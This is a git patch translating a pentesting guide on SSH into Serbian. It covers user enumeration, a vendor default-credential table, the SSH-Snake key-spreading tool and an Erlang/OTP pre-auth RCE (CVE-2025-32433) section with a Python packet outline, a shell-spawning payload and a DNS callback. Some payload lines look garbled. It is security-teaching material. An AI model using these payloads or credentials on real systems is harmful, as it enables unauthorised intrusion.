From ae7b3d27f900f7e2a06f468ec4cbf667e5410f80 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 14 Aug 2025 00:19:36 +0000 Subject: [PATCH] Translated ['src/network-services-pentesting/pentesting-ssh.md'] to sr --- .../pentesting-ssh.md | 116 +++++++++++++----- 1 file changed, 86 insertions(+), 30 deletions(-) diff --git a/src/network-services-pentesting/pentesting-ssh.md b/src/network-services-pentesting/pentesting-ssh.md index c97ed5224..92d23f343 100644 --- a/src/network-services-pentesting/pentesting-ssh.md +++ b/src/network-services-pentesting/pentesting-ssh.md @@ -13,7 +13,7 @@ **SSH сервери:** - [openSSH](http://www.openssh.org) – OpenBSD SSH, испоручен у BSD, Linux дистрибуцијама и Windows од Windows 10 -- [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – SSH имплементација за окружења са ниским меморијским и процесорским ресурсима, испоручена у OpenWrt +- [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – SSH имплементација за окружења са малом меморијом и ресурсима процесора, испоручена у OpenWrt - [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) – SSH имплементација за Windows, клијент се често користи, али је употреба сервера ређа - [CopSSH](https://www.itefix.net/copssh) – имплементација OpenSSH за Windows @@ -32,7 +32,7 @@ nc -vn 22 ``` ### Automated ssh-audit -ssh-audit je alat za reviziju konfiguracije ssh servera i klijenata. +ssh-audit je alat za reviziju konfiguracije ssh servera i klijenta. [https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit) je ažurirani fork od [https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/) @@ -41,7 +41,7 @@ ssh-audit je alat za reviziju konfiguracije ssh servera i klijenata. - Podrška za SSH1 i SSH2 protokol servera; - analizira konfiguraciju SSH klijenta; - uzima banner, prepoznaje uređaj ili softver i operativni sistem, detektuje kompresiju; -- prikuplja algoritme za razmenu ključeva, host-key, enkripciju i kod autentifikacije poruka; +- prikuplja algoritme za razmenu ključeva, host-key, enkripciju i kod za autentifikaciju poruka; - izlazne informacije o algoritmima (dostupno od, uklonjeno/onemogućeno, nesigurno/slabo/legacy, itd); - izlazne preporuke za algoritme (dodati ili ukloniti na osnovu prepoznate verzije softvera); - izlazne informacije o bezbednosti (povezani problemi, dodeljena CVE lista, itd); @@ -95,7 +95,7 @@ nmap -p22 --script ssh-auth-methods --script-args="ssh.user=root" # Check a ### Enumeracija korisničkih imena -U nekim verzijama OpenSSH možete izvršiti napad vremenskom razlikom kako biste enumerisali korisnike. Možete koristiti metasploit modul kako biste iskoristili ovo: +U nekim verzijama OpenSSH možete izvršiti napad vremenskim razlikama kako biste enumerisali korisnike. Možete koristiti Metasploit modul kako biste iskoristili ovo: ``` msf> use scanner/ssh/ssh_enumusers ``` @@ -113,9 +113,9 @@ Ili MSF pomoćni modul: ``` msf> use scanner/ssh/ssh_identify_pubkeys ``` -Or use `ssh-keybrute.py` (native python3, lightweight and has legacy algorithms enabled): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). +Ili koristite `ssh-keybrute.py` (nativni python3, lagan i sa omogućеним nasleđenim algoritmima): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). -#### Poznate loše ključeve možete pronaći ovde: +#### Poznati loši ključevi mogu se naći ovde: {{#ref}} https://github.com/rapid7/ssh-badkeys/tree/master/authorized @@ -129,27 +129,27 @@ Trebalo bi da pogledate ovde kako biste tražili važeće ključeve za žrtvinu ### Kerberos -**crackmapexec** koristeći `ssh` protokol može koristiti opciju `--kerberos` da **autentifikuje putem kerberos**.\ +**crackmapexec** koristeći `ssh` protokol može koristiti opciju `--kerberos` za **autentifikaciju putem kerberos-a**.\ Za više informacija pokrenite `crackmapexec ssh --help`. ## Podrazumevani akreditivi | **Proizvođač** | **Korisnička imena** | **Lozinke** | -| ---------- | ----------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| APC | apc, device | apc | -| Brocade | admin | admin123, password, brocade, fibranne | -| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, \_Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme | -| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler | -| D-Link | admin, user | private, admin, user | -| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin | -| EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc | -| HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin | -| Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 | -| IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer | -| Juniper | netscreen | netscreen | -| NetApp | admin | netapp123 | -| Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle | -| VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default | +| --------------- | ----------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| APC | apc, device | apc | +| Brocade | admin | admin123, password, brocade, fibranne | +| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, \_Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme | +| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler | +| D-Link | admin, user | private, admin, user | +| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin | +| EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc | +| HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin | +| Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 | +| IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer | +| Juniper | netscreen | netscreen | +| NetApp | admin | netapp123 | +| Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle | +| VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default | ## SSH-MitM @@ -167,22 +167,22 @@ Da biste uhvatili stvarni MitM, mogli biste koristiti tehnike poput ARP spoofing ## SSH-Snake -Ako želite da pretražujete mrežu koristeći otkrivene SSH privatne ključeve na sistemima, koristeći svaki privatni ključ na svakom sistemu za nove hostove, onda vam je potreban [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake). +Ako želite da pretražujete mrežu koristeći otkrivene SSH privatne ključeve na sistemima, koristeći svaki privatni ključ na svakom sistemu za nove hostove, onda je [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) ono što vam treba. SSH-Snake automatski i rekurzivno obavlja sledeće zadatke: 1. Na trenutnom sistemu, pronađite sve SSH privatne ključeve, 2. Na trenutnom sistemu, pronađite sve hostove ili odredišta (user@host) koja privatni ključevi mogu prihvatiti, -3. Pokušajte da se povežete na sva odredišta koristeći sve otkrivene privatne ključeve, +3. Pokušajte da se SSH povežete sa svim odredištima koristeći sve otkrivene privatne ključeve, 4. Ako se uspešno povežete na odredište, ponovite korake #1 - #4 na povezanom sistemu. -Potpuno je samoreplicirajuće i samoproširujuće -- i potpuno bez datoteka. +Potpuno se replicira i širi -- i potpuno je bez datoteka. ## Konfiguracione greške ### Root prijava -Uobičajeno je da SSH serveri po defaultu dozvoljavaju prijavu korisnika root, što predstavlja značajan sigurnosni rizik. **Onemogućavanje root prijave** je kritičan korak u obezbeđivanju servera. Neovlašćen pristup sa administrativnim privilegijama i brute force napadi mogu se ublažiti ovom promenom. +Uobičajeno je da SSH serveri po defaultu dozvoljavaju prijavu korisnika root, što predstavlja značajan sigurnosni rizik. **Onemogućavanje root prijave** je kritičan korak u obezbeđivanju servera. Neovlašćen pristup sa administrativnim privilegijama i napadi brute force mogu se ublažiti ovom promenom. **Da biste onemogućili root prijavu u OpenSSH:** @@ -242,9 +242,9 @@ sudo ssh -L :: -N -f @ symlink / froot ``` @@ -281,10 +281,66 @@ id_rsa - [https://packetstormsecurity.com/files/download/71252/sshfuzz.txt](https://packetstormsecurity.com/files/download/71252/sshfuzz.txt) - [https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2](https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2) +## Bypass stanja autentifikacije (Pre-Auth RCE) + +Nekoliko implementacija SSH servera sadrži logičke greške u **mašini stanja autentifikacije** koje omogućavaju klijentu da šalje *poruke protokola veze* **pre nego što** autentifikacija završi. Pošto server ne uspeva da verifikuje da se nalazi u ispravnom stanju, te poruke se obrađuju kao da je korisnik potpuno autentifikovan, što dovodi do **neautentifikovane izvršavanja koda** ili kreiranja sesije. + +Na protokolskom nivou, svaka SSH poruka sa _kodom poruke_ **≥ 80** (0x50) pripada *sloju veze* (RFC 4254) i mora **biti prihvaćena samo nakon uspešne autentifikacije** (RFC 4252). Ako server obradi jednu od tih poruka dok je još u *SSH_AUTHENTICATION* stanju, napadač može odmah kreirati kanal i zahtevati akcije kao što su izvršavanje komandi, prosleđivanje portova, itd. + +### Opšti koraci za eksploataciju +1. Uspostavite TCP vezu sa SSH portom cilja (obično 22, ali druge usluge mogu izlagati Erlang/OTP na 2022, 830, 2222…). +2. Kreirajte sirovi SSH paket: +* 4-bajtni **packet_length** (big-endian) +* 1-bajtni **message_code** ≥ 80 (npr. `SSH_MSG_CHANNEL_OPEN` = 90, `SSH_MSG_CHANNEL_REQUEST` = 98) +* Payload koji će biti razumljiv odabranom tipu poruke +3. Pošaljite paket(e) **pre nego što završite bilo koji korak autentifikacije**. +4. Interagujte sa server API-ima koji su sada izloženi _pre-auth_ (izvršavanje komandi, prosleđivanje portova, pristup sistemu datoteka, …). + +Python proof-of-concept outline: +```python +import socket, struct +HOST, PORT = '10.10.10.10', 22 +s = socket.create_connection((HOST, PORT)) +# skip version exchange for brevity – send your own client banner then read server banner +# … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner +# Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90) +pkt = struct.pack('>I', 1) + b'\x5a' # 0x5a = 90 +s.sendall(pkt) +# additional CHANNEL_REQUEST packets can follow to run commands +``` +U praksi ćete morati da izvršite (ili preskočite) razmenu ključeva u skladu sa implementacijom cilja, ali **nikakva autentifikacija** se nikada ne vrši. + +--- +### Erlang/OTP `sshd` (CVE-2025-32433) +* **Pogođene verzije:** OTP < 27.3.3, 26.2.5.11, 25.3.2.20 +* **Osnovni uzrok:** Erlang-ov nativni SSH daemon ne validira trenutni status pre nego što pozove `ssh_connection:handle_msg/2`. Stoga bilo koji paket sa kodom poruke 80-255 dolazi do rukovaoca veze dok je sesija još u *userauth* stanju. +* **Uticaj:** neautentifikovana **daljinska izvršenja koda** (daemon obično radi kao **root** na ugrađenim/OT uređajima). + +Primer payload-a koji pokreće reverznu ljusku vezanu za kanal pod kontrolom napadača: +```erlang +% open a channel first … then: +execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}])."). +``` +Blind RCE / out-of-band detekcija može se izvršiti putem DNS-a: +```erlang +execSinet:gethostbyname(".dns.outbound.watchtowr.com").Zsession +``` +Detection & Mitigation: +* Istražite SSH saobraćaj: **odbacite bilo koji paket sa kodom poruke ≥ 80 zabeleženim pre autentifikacije**. +* Ažurirajte Erlang/OTP na **27.3.3 / 26.2.5.11 / 25.3.2.20** ili noviji. +* Ograničite izloženost portova za upravljanje (22/2022/830/2222) – posebno na OT opremi. + +--- +### Other Implementations Affected +* **libssh** 0.6 – 0.8 (server side) – **CVE-2018-10933** – prihvata neautentifikovani `SSH_MSG_USERAUTH_SUCCESS` poslat od strane klijenta, što je zapravo obrnuta logička greška. + +Zajednička lekcija je da svako odstupanje od RFC-om propisanih prelaza stanja može biti fatalno; prilikom pregleda ili fuzzinga SSH demona obratite posebnu pažnju na *provođenje stanja mašine*. + ## References -- Možete pronaći zanimljive vodiče o tome kako ojačati SSH na [https://www.ssh-audit.com/hardening_guides.html](https://www.ssh-audit.com/hardening_guides.html) -- [https://community.turgensec.com/ssh-hacking-guide](https://community.turgensec.com/ssh-hacking-guide) +- [Unit 42 – Erlang/OTP SSH CVE-2025-32433](https://unit42.paloaltonetworks.com/erlang-otp-cve-2025-32433/) +- [SSH hardening guides](https://www.ssh-audit.com/hardening_guides.html) +- [Turgensec SSH hacking guide](https://community.turgensec.com/ssh-hacking-guide) ## HackTricks Automatic Commands ```